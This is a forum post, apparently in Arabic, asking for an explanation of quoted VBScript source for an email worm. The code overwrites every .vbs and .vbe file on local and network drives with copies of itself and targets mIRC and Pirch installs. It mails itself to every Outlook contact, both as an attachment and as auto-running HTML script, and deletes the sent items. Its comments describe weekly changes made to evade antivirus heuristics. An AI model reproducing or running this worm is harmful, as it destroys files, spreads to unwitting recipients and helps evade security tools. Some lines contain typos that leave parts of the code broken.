ممكن شرح هذا الكود
هذا كود فيروس ينتشار عبر البريد الألكتروني ممكن شرح بسيط عن هذا الكود ومامدى فعاليته
These two funtions will search in all the Hd for mirc.ini, Pirch32.exe,
vbs and vbe files. When if found any of them call te infection function.
_______________________________________________________________________
wassem_AL-shiek {wassemshiek@hotmail.com}
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Function Dodrives()
On Error Resume Next
Set fso = CreateObject("scipting.filesystemobject")
Set Drives = fso.Drives
For Each Drive In Drives
If Drive.Drivetype = Remote Then
Drivefull = Drive & "\"
Call Subfolders(Drivefull)
ElseIf Drive.IsReady Then
Drivefull = Drive & "\"
Call Subfolders(Drivefull)
End If
Next
End Function
Function Subfolders(path)
newpath=path
Set Fold = fso.GetFolder(newpath)
Set Files = Fold.Files
For Each file In Files
If fso.GetExtensionName(file.path) = "vbs" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "vbe" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If file.Name = "mirc.ini" Then
Mirc (file.ParentFolder)
End If
If file.Name = "Pirch32.exe" Then
Pirch (file.ParentFolder)
End If
Next
Set file = Fold.Subfolders
For Each Subfol In file
Call Subfolders(Subfol.path)
Next
End Function
_______________________________________________________________________
wassem_AL-shiek {wassemshiek@hotmail.com}
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
This function wikll send a message to each contact in the address list
with the worm attached.
i'm modifying this function once a week or so, cause avp is updating
his Heuristic I-Worms detection, and they detect the worm.
So, i'm making a version for week to avoid the detection
_______________________________________________________________________
wassem_AL-shiek {wassemshiek@hotmail.com}
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Function Outlook()
On Error Resume Next
Set OutlookApp = CreateObject("Outlook.Application")
If OutlookApp = "Outlook" Then
Set Mapi = OutlookApp.GetNameSpace("MAPI")
set mapiadlist as Mapi.AddressLists
For Each Addresslist In mapiadlist
If Addresslist.AddressEntries.Count <> 0 Then
Addresslistcout = Addresslist.AddressEntries.Count
For AddList = 1 To Addresslistcout
Set msg = OutlookApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
msg.To = AdEntries.Address
msg.Subject = "Here you have, ;o)"
msg.Body = "Hi:" & vbCrLf & "Check This!"
set Attachs=msg.Attachments
Attachs.Add "c:\window\worm.vbs"
msg.DeleteAfterSubmit = True
If msg.To <> "" Then
msg.Send
End If
Next
End If
Next
End If
End Function
____________________________________________________________________
wassem_AL-shiek {wassemshiek@hotmail.com}
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Function OutlookBody()
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set Outlook = CreateObject("Outlook.Application")
If Outlook = "Outlook" Then
Set Myself = fso.opentextfile(wscript.scriptfullname, 1)
I = 1
Do While Myself.atendofstream = False
MyLine = Myself.readline
Code = Code & Chr(34) & " & vbcrlf & " & Chr(34) & Replace(MyLine, Chr(34), Chr(34) & "&chr(34)&" & Chr(34))
Loop
Myself.Close
htm = "<" & "HTML><" & "HEAD><" & "META content=" & Chr(34) & " & chr(34) & " & Chr(34) & "text/html; charset=iso-8859-1" & Chr(34) & " http-equiv=Content-Type><" & "META content=" & Chr(34) & "MSHTML 5.00.2314.1000" & Chr(34) & " name=GENERATOR><" & "STYLE></" & "STYLE></" & "HEAD><" & "BODY bgColor=#ffffff><" & "SCRIPT language=vbscript>"
htm = htm & vbCrLf & "On Error Resume Next"
htm = htm & vbCrLf & "Set fso = CreateObject(" & Chr(34) & "scripting.filesystemobject" & Chr(34) & ")"
htm = htm & vbCrLf & "If Err.Number <> 0 Then"
htm = htm & vbCrLf & "document.write " & Chr(34) & "<font face='verdana' color=#ff0000 size='2'>You need ActiveX enabled if you want to see this e-mail.<br>Please open this message again and click accept ActiveX<br>Microsoft Outlook</font>" & Chr(34) & ""
htm = htm & vbCrLf & "Else"
htm = htm & vbCrLf & "Set vbs = fso.createtextfile(fso.getspecialfolder(0) & " & Chr(34) & "\Worm.vbs" & Chr(34) & ", True)"
htm = htm & vbCrLf & "vbs.write " & Chr(34) & Code & Chr(34)
htm = htm & vbCrLf & "vbs.Close"
htm = htm & vbCrLf & "Set ws = CreateObject(" & Chr(34) & "wscript.shell" & Chr(34) & ")"
htm = htm & vbCrLf & "ws.run fso.getspecialfolder(0) & " & Chr(34) & "\wscript.exe " & Chr(34) & " & fso.getspecialfolder(0) & " & Chr(34) & "\Worm.vbs %" & Chr(34) & ""
htm2 = htm2 & vbCrLf & "document.write " & Chr(34) & "This message has permanent errors.<br>Sorry<br>" & Chr(34) & ""
htm2 = htm2 & vbCrLf & "End If"
htm2 = htm2 & vbCrLf & "<" & "/SCRIPT></" & "body></" & "html>"
HtmlBody = htm & htm2
Set mapi = Outlook.GetNameSpace("MAPI")
Set Mapiadd=mapi.AddressLists
For Each Addresslist In Mapiadd
If Addresslist.AddressEntries.Count <> 0 Then
AddCount = Addresslist.AddressEntries.Count
Set Msg = Outlook.CreateItem(0)
Msg.Subject = "Rv: 4You"
Msg.HtmlBody = HtmlBody
Msg.DeleteAfterSubmit = True
For II = 1 To AddCount
Set Addentry = Addresslist.AddressEntries(II)
If AddCount = 1 Then
Msg.BCC = Addentry.Address
Else
Msg.BCC = Msg.BCC & "; " & Addentry.Address
End If
Next
Msg.send
End If
Next
Outlook.Quit
End If
End Function